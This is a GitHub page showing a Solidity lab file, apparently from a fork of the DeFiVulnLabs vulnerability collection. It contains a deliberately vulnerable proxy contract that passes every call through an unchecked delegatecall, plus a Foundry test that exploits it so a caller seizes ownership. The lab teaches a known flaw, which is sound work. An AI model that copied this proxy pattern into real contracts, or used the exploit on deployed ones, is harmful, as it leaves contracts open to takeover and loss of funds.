forked from SunWeb3Sec/DeFiVulnLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDelegatecall.sol
60 lines (44 loc) · 1.66 KB
/
Delegatecall.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
// Proxy Contract is designed for helping users call logic contract
// Proxy Contract's owner is hardcoded as 0xdeadbeef
// Can you manipulate Proxy Contract's owner ?
contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
}
contract ContractTest is Test {
Proxy proxy;
Delegate DelegateContract;
address alice;
function setUp() public {
alice = vm.addr(1);
}
function testDelegatecall() public {
DelegateContract = new Delegate(); // logic contract
proxy = new Proxy(address(DelegateContract)); // proxy contract
console.log("Alice address", alice);
console.log("DelegationContract owner", proxy.owner());
// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.
console.log("Change DelegationContract owner to Alice...");
vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here
// Proxy.fallback() will delegatecall Delegate.pwn()
console.log("DelegationContract owner", proxy.owner());
console.log("Exploit completed, proxy contract storage has been manipulated");
}
}
contract Delegate {
address public owner; // slot0
function pwn() public {
owner = msg.sender;
}
}